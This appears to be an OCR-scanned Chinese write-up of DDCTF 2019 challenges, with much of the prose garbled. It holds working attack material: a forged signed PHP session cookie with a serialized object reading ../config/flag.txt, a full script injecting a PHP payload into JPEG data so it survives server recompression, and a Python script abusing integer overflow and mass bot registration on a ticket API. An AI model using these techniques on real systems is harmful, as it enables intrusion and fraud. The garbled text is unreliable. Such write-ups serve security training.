parent::response("the cookie data not match",'error');
return FALSE;

}

$session = unserialize($session);

Vi B BT sessionsE Hicookie [ficookie_name[:-32]ix B 4k F4F B A5 21, B R EEH T 7 — P md5E
5, ATH ERE L #eancrykey sl 1] ALK it cookie sk #E AT 4, DL RARAGHRAE T XA

if(lempty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
¥

parent::response($data, "Welcome");

77 nickname 4, 24T Einickname (i, Tijeancrykey AL TE € i, AT LRI K L 452 %5
Pk eancrykey, EI7Enicknamel 241 5 i ER F—/%s

B Burp Suite Professional v1.6 - licensed to LarryLau
Burp Intruder Repeater Window Help

[ Target [ Froxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Campater | Extender | Options | Alers |
[1 =]z =3~ Jaul - |
Go Cancel < | >|v Target: htip:i117.51.158.44 [Lt

Request Response

Raw I Params | Headers | Hex Raw | Hezders |H=x |

POST /app/Se=ssion.php HTTE/ L. L1 4  HTTP/L.1 200 OK

Hoat: 117.51.158.44 P Server: nginx/1.10.3 (Ubuntu)

Ts t: Mozilla/5.0 (Windows NT 10.0; Winf4: x£4: rvi@e.0 Date: Thu, 18 Apr 2018 12:10:05 GHT
00101 Firefox/£€.0 Content-Type: application/jsom

/html, application/xhtml+xml, application/xmlzqe0.5, */ *zq=0.8 Connection: keep-alive

2h-TH;g=0.7, sh-KK; q=0. 5, en-US: q=0.3, en; q=0.2
Accept-Encoding: gsip, deflate
Content-Typ=: applicatlonds-www-form-ur lencadsd

£"\uE0aB| uSE53 | uSZ4d) uSE53 \ us24d | uE 743" uIES0' ud

USLET L UEBh T uB5e = App |/ FLIKTDZ A0CAR. php™}{ "ere

come my friend

:"aucesa”, "data’: "DiDI Welcome you Mozilla\ /5.
£4: rv:i£E.0) Geckol/20100101 Firefox./66.0"

Content-Lengthi 17

Connection: keep-alive o

}

- id=at3A4%3A%7Ba%3A10%3AN 2acaion ids2283Bak3A32V AN
4370 A10%34%221p_ad 341
agentk

r356laacacict

0422438t IACEIALDTD
aabédhigTdscd
Upgrade- Inaccure-Requesta: 1

nickname=40kD%¥25s

SRIGHRE] T keyMI{EEZDIrONS, 2 Tkt & i g iy 77 #F 5 1, cookie['ddctf_id'][-32:]5
md5(key-+cookie[ddctf_id[:-32])kilF, Etaddetf id



a4:

{s:10:"session_id";s:32:"e3561aaeac6cf24d3537085da3757f44";s:10:"ip_address";s:14:"125.80.139.147";s:10:"user_ac

(Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101
Firefox/66.0";s:9:"user_data";s:0:"";}cad09d18877a17ce871aa96db38745cd

4 m

FiE i i ddetf_id Ay

ab:

{s:10:"session_id";s:32:"e3561aaeac6cf24d3537085da3757f44";s:10:"ip_address";s:14:"125.80.139.147";s:10:"user_ac

(Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101
Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:
{s:4:"path";s:21:"..../lconfig/flag.txt";}}3df23fb0cc2660388b2dc1b38f9ed 761

4 m

i EE R X R ] 4 H e/l EXUS Sk, A8 cookie s B AT url g it
[7]

E’ Burp Suite Professional v1.6 - licensed to LarryLau
Burp Intreder Repeater Window Help

[TatgalT Proxy ]Spidsr ]’Scannar ]Intmdat Iﬂnpadﬂ ]Saquenl:ar ]Docodat TCnmpaer IExtandat TOﬁ.ions TNaﬂs I

1% 2% |3« [ ..

Go Cancel < v >

Request Response

|Rn Params | Headers |Hex Raw | Headers | Hex

Target: http:/117.51.158.44 l‘_'J i

POST Japp/Sessicon.php HTTR/ 1.1 i HTTF/ 1.l 200 OF

Host: L117.51.158.44 - Server: nginx/Ll.10.3 [Ubuntu

User-Ag=nt: Mozilla/5.0 (Vindows NT 10.0: Winf4: =£4: cv:i66.0) Date: Thu, 18 Apr 2015 12:1£:41 GMT

Gecko/20100L01 Firsfox/E£.0 Contenc-Type: applicacion/json

Accept: cext/homl,application/xheml+sxml, application/xml:q=0.5%, ¥/ *:q=0.8 Connection: keep-alive

Aceept-Language : Content-Length: 280

zh-CH, zh:g=0.8, zh-TW; q=0.7, ch-HK; q=0.5,2n-US; g=0.3, en; q=0.2

Accept-Enceding: gzip, deflate ("errHag": "aucceas", "data™: "\ uE0abl uSE£53" usI4ad  uSE53  usi4d \ wET43 wIE50" ud
Concent—Type: application/x-wwe—foem—urlencoded =3aluThbal' u7406" uS458-———" UELLT  uEkbf' uSSes:app" /TLIXIDI A0Cdh. php"} { "err
Content=Length: L7 HNag': Pilelcome', PFdata®: ¥Welcome my friend

Connection: kesep-alive 40kDEzb 1rBNS"} { "scclsg": "Congratulations”, "data” : "DDCTF{ dder 2015 _Giuaw)
didictf username: admin| EE_pHVIHIDDGAVEQAI]) "}

Cookie:

ddecf id=a%¥3laS¥la{sviallsla"session 1d"$3bsyia3dlilav=35€ laasacicfI4disiTo
85da3757£44™%3bas%3allvia"ip_address"s3bs%3ald®3a”125.80.139.147"%3ba%3all
¥lauser_agent"¥lbaiiaTidla"Nozilla/5, 0+ (Vindows+NT+10.033b+Win64%3b+xE4%
Ib+eviIace .0) +CGecko/20100L01+F Lreton/EE. DS IDaY Jafs3iamuser_data™iIbsilaly
Ja" "% 3batiaTiIa"payload" s 3bO%3allsIaipplication™s3altIalatladtlapath™s3
bsy3azizia”. .../ config/ flag. ext"s3b) }IdE2IfH0ceI £E038bIde 1bIBESedTE]
Upgrade-Ingecure-Beguests: 1

nicknam==30k0%CZ5=

Upload-IMG

B EARH , ARDONRSEE i iE 2 38, WA AT, B A TETRIEEIL, JEARpnghs A K F 42
N Tjpg, W1 Tif, FFEAER T jpg, Hjpgfk EER)Ef NN R /NIRRT, KK A B ea

A—FET, R

ot 7 0 J B L S .
B Wys ?;CREATOR:
gd-jpeg v1.0 (u
sing IJG JPEG v8
0), quality = 80

BT RES ZRIERANSG, R HRE] T b2 jpeghd I IA



<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformati
It is necessary that the size and quality of the initial image are the same as those of the processed i

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:

jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:

1) After the second processing the injected data may become partially corrupted.

2) The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another init

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1l]);
$outStream = file get contents($argv[1l]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != OxFFD8) {
die('Incorrect SOI marker');

while((!$dis->eof()) & ($dis->readByte() == OxFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === OxDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos):



checkImage('_'.$argv[1], $outStreamTmp, TRUE);

if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === OxFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}

$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
9,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
¥
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;

}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];

class DataInputStream {
private $binData;
private $order;



private $size;

public function _ construct($filename, $order = false, $fromString = false) {

$this->binData = '';
$this->order = $order;
if(!$fromString) {

if(!file_exists($filename) || !is_file($filename))

die('File not exists ['.$filename.']");

$this->binData = file_get_contents($filename);
} else {

$this->binData = $filename;
}

$this->size = strlen($this->binData);

public function seek() {
return ($this->size - strlen($this->binData));

public function skip($skip) {
$this->binData = substr($this->binData, $skip);

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');
¥
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {

$short = (ord($short[1]) << 8) + ord($short[0]);
} else {

$short = (ord($short[0]) << 8) + ord($short[1]);
}

return $short;

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);

?>

XF P AT AL B B AR, RIBRIG,  gidE s 3T TR S5 B phpinfol @b 17, XFLE 1 R SCr-8dE, A R
Wb B AT Sk, IR S AETE RN BB . 45 R B AT LA AR BEAL B R T R 1 B 5 44 i)
T AR H



[Success]Flag=DDCTF{B3s7_7ry php1nf0_625fc040c5fb9fad}

KEKRH, S Wiz~
VSRR IHT TP 3K Sk

GET /ctf/api/buy_ticket?ticket _price=2000 HTTP/1.1

Host: 117.51.147.155:5050

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/117.51.147.155:5050/index.html

Connection: keep-alive

Cookie: user_name=40k0; REVEL_SESSION=b909930834855a9613eb55174a970c47

XEMEHRZGets 1%, BATR U AT BN, AR5 KBRS RAERARE /N, Z A8 3 KR P I CTRE
FARFTREmbAA R B Y, ol FARAR e, BRI /BN, Ebs BN 7-1, 5 G A R X Egoih
o SRR E R A SR NidAticketk Ak #5 E A1

TR F X

#id:

* ticket:

BT R IFPIA R A B S T ORI 55—, IO S AN A B 2R, AT E R AR S, REHIE—
HENGIFIKRTIER, v T @R S NEREN, AMEHEN S Shash{E kA NS, EIER SRR BT
PAT iIE RS2 A I Get Uik il R (1, Bt LLSEIB L AL SRS FhiE SR 24

TEMHEIERIHT TPIE Kk



GET /ctf/api/register?name=40k0&password=xxcooox HTTP/1.1

Host: 117.51.147.155:5050

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/117.51.147.155:5050/index.html

Connection: keep-alive

Cookie: user_name=40k0; REVEL_SESSION=b909930834855a9613eb55174a970c47

M e e S EEEES N, REITIEE, WEMHTTPIER Z it EmR T, HAKSAINT . - -
JEIA G



import requests

import json

import string

import hashlib

import random

dic = '01234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKIHGFDSAZXCVBNM'

def get_name():

global dic
dic[random.randint(0, 62)]
dic[random.randint(0, 62)]
= dic[random.randint (@, 62)]
dic[random.randint (@, 62)]
hashlib.md5()

a
b
C
d

m

m.update(a+b+c+d)
return m.hexdigest()

def main():

user = requests.Session()
user.get("http://117.51.147.155:5050/ctf/api/login?name=40k0&password=xxxxxxxx")
while(True):

robot = requests.Session()

robot_name = get_name()

try:
r_reg =
r_buy =
bill_id
bill_id

robot.get("http://117.51.147.155:5050/ctf/api/register?name=" + robot_name + "&password=12345678
robot.get("http://117.51.147.155:5050/ctf/api/buy_ticket?ticket price=4294967299")

= json.loads(r_buy.text)

= bill_id['data'][@]['bill_id']

robot.get("http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}".format(bill_id))

r_search =

robot.get("http://117.51.147.155:5050/ctf/api/search_ticket")

info = json.loads(r_search.text)['data'][@]
id = info['id']

ticket = info['ticket']

print id, ticket

message
message

= user.get("http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}".format(id, ticket))
= json.loads(message.text)

print message[ 'msg']
print user.get("http://117.51.147.155:5050/ctf/api/get_flag").text

except:
pass

if _ _name__

main()

== '__main__

Breaking LEM

X ESRT, ABAETEA R T, BSR4 2 FLorenzin® . o 4K SR . Android®E—iEEH, H
T—TFEB Nk, Freli VIR 2 $ER

$&7x: The format of the flag is DDCTF{ddctf-android-lorenz-ZFXXXXXX }, Where XXXXXX represents a 6-char
string comprised of A-Z and 0-9. MAX Attempts Limitis 5



MjavaZ st il H 1 native)Z []— stringFromJNIs& Zk #E 17 check, AHE T, EIZH.so XU HHER]IDAF, 2
stringFromJNIK % , FSAHE, BEIDAFZRERR, BEAAT L T/ICEILT. BT REFSE

DDCT F{ddctf-android-lorenz-} 53 5 H i T XXX i

TR — AN

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
:53DD92D4

.text

.text:
.text:
.text:
.text:
.text:

53DD928A
53DD928C
53DD928E
53DD9292
53DD9294
53DD9296
53DD9298
53DD929A
53DD929C
53DD929E
53DD92A0
53DD92A2
53DD92A6
53DD92A8
53DD92AA
53DD92AC
53DD92AE
53DD92B0
53DD92B2
53DD92B6
53DD92B8
53DD92BA
53DD92BA
53DD92BA
53DD92BA
53DD92BC
53DD92BE
53DD92BE
53DD92BE
53DD92BE
53DD92C0o
53DD92C2
53DD92C4
53DD92C6
53DD92C6
53DD92C6
53DD92C8
53DD92CA
53DD92CC
53DD92CE
53DD92D0

53DD92D6
53DD92D8
53DD92DA
53DD92DC
53DD92DE

ADD R1, PC

ADD R2, SP, #OxF8+var_E8

BL strcpy_

LDR R6, [SP,#0xF8+sub_str_end]
ADDS RO, R6, R7

LDR RO, [RO,#8]

CMP RO, #0

PUSH {R6}

POP {RO}

BLT loc_53DD92BE

ADD RO, SP, #OxF8+sub_str_end
BL sub_53E@57AC

LDR R6, [SP,#0OxF8+sub_str_end]
ADDS RO, R6, R7

LDR RO, [RO,#8]

CMP Re, #o

BLT loc_53DD92BA

ADD RO, SP, #OxF8+sub_str_end
BL sub_53E@57AC

LDR RO, [SP,#0xF8+sub_str_end]
B loc_53DD92BE

8 COCCOOOOOOOOOEEEOEEEEEE00000E0000000C
loc_53DD92BA

PUSH {R6}

POP {RO}

loc_53DD92BE

LDR R1, [RO,R7]

ADDS R5, RO, R1

CcMP R6, R5

BEQ loc_53DD92E@

loc_53DD92C6

LDRB R1, [R6]

ADD RO, SP, #OxF8+var_28

MOVS R4, #0

PUSH {R4}

POP {R2}

BL get_char_index

ADDS R6, R6, #1

LDR R1, [SP,#0xF8+encryption_cycle]
CMP RO, R1

BEQ loc_53DD93C8

CMP R5, R6

BNE loc_53DD92C6

A, BTARATZ S5 KOO NN - XA

5 "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456"

; CODE XREF: Java_com_didictf_guesskey2019lorenz_Mai

; CODE XREF: Java_com_didictf_guesskey2019lorenz_Mai
; Java_com_didictf_guesskey2019lorenz_MainActivity_s

; CODE XREF: Java_com_didictf_guesskey2019lorenz_Mai

5 IR LU NtableH EF



X B {Etablert BB AT, FHIREUEIY-1, WERH, BRI 7R 8020
N"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456", fid/r 1 R Ui p0-9, RESE 1o H R RN BEAT 1 5 Fh
e, PEA IR XK Lorenzlin® 1, (HIX HAEANVE, BUATE AR i O, B Jm 2840 AE U
Pref, FADTAHAER O BB, AT RS RS H AR N AR, RKE RJa sk

.text:53DD934A loc_53DD934A

.text:53DD934A ADD RO, SP, #OxF8+var_EC
.text:53DD934C ADD R4, SP, #OxF8+sub_str_end
.text:53DD934E PUSH {R4}

.text:53DD9350 POP {R1}

.text:53DD9352 BL strcpy2

.text:53DD9356 ADD R5, SP, #OxF8+var_F4
.text:53DD9358 PUSH {R5}

.text:53DD935A POP {R0}

.text:53DD935C PUSH {R4}

.text:53DD935E POP {R1}

.text:53DD9360 BL strcpy2

.text:53DD9364 ADD RO, SP, #OxF8+sha256
.text:53DD9366 PUSH {R5}

.text:53DD9368 POP {R1}

.text:53DD936A BL j_j__Z7sha256dSs ; j_sha256d(std::string)
.text:53DD936E LDR RO, [SP,#0xF8+var_F4]
.text:53DD9370 ADDS RO, RO, R7

.text:53DD9372 ADD R1, SP, #OxF8+var_18
.text:53DD9374 BL sub_53E06104

.text:53DD9378 LDR R3, [SP,#0xF8+sha256]
.text:53DD937A MOVS RO, #4

.text:53DD937C LDR R1, =(aHelllLibs - ©x53DD9382)
.text:53DD937E ADD R1, PC ; "hell-libs::"
.text:53DD9380 LDR R2, =(aDebugShaS - 0x53DD9386)
.text:53DD9382 ADD R2, PC ; "DEBUG_SHA:%s"
.text:53DD9384 BL j___android_log print
.text:53DD9388 LDR R1, [SP,#0xF8+sha256]
.text:53DD938A ADDS R5, R1, R7

.text:53DD938C LDR RO, =(shaCorrect_ptr - ©x53DD9392)
.text:53DD938E ADD RO, PC ; shaCorrect_ptr
.text:53DD9390 LDR RO, [RO] ; shaCorrect
.text:53DD9392 LDR RO, [RO]

.text:53DD9394 LDR R2, [RO,R7]

.text:53DD9396 LDR R3, [R1,R7]

.text:53DD9398 MOVS R4, #0

.text:53DD939A CMP R2, R3

.text:53DD939C BNE loc_53DD93AE

X R A A A R AT T SHARS6H L, H IR I A LA AT I 55 H R K SHA56 A — K, FATHEA XA
AL T DAE B MR R ERAE



void _ fastcall sha256d(_DWORD *al, int a2)
{

int *v2; // r4

signed int v3; // r7

int v4; // re

int v5; // r1

int *hash; // [sp+8h] [bp-1Ch]

v2 = al;

strcpy2(al, (int *)a2);

v3 = 5;

do

{
v4d = *v2;
v5 = *(_DWORD *)(*v2 - 12);
hash = (int *)&unk_53E32FAQ;
j_picosha2::hash256_hex_string<__gnu_cxx::__normal_iterator<char const*,std::string>>(v4, v4 + v5, (int
sub_53E@4D2C(v2, (int *)&hash);
sub_53E06104(hash - 3);
--v3;

}

while ( v3 );

JEiskix HESHA256 T Tidk, HISHA256(SHA256(SHA256(SHA256(SHA256(input))))), 155 5 Hi 1 4 Fthash
i, 55 —"1ME4b27bd0beaad967e3625ff6f8b8ecf76c5beaa3bda284ba91967a3a5e387b0fa7 k1T Ll 4%, #+
Eb 43¢ 1% T DU 36:41F 1E A

FrEARAT 6 4R BIX S hashfE OB SC,  f N —3L8571, B2 th T/2ZF, /5 A4, Frelcsn, R 2%
W65, FAHED A table, A 324 FFF. (HH T-SHA2561H1T 751k, FTLAAGFHR THK MK, ACOSEBA
RHIGPUXRM, IE35EEF THKARE, &IILRALS 7 AT HE 5

import hashlib

def hash(s):
for i in range(5):
sha = hashlib.sha256()
sha.update(s)
s = sha.hexdigest()
return s

dic = '123456QWERTYUIOPASDFGHIKLZXCVBNM'

for a in dic:
for b in dic:
for ¢ in dic:
for d in dic:
for e in dic:
for £ in dic:
if hash('A4'+a+b+c+d+e+f) == '4b27bd@beaa967e3625ff6f8b8ecf76c5beaa3bda284ba91967a3
print 'A4'+a+b+c+d+e+f

SR/ JEIRBEHR T, 4532 ANKAIUK.
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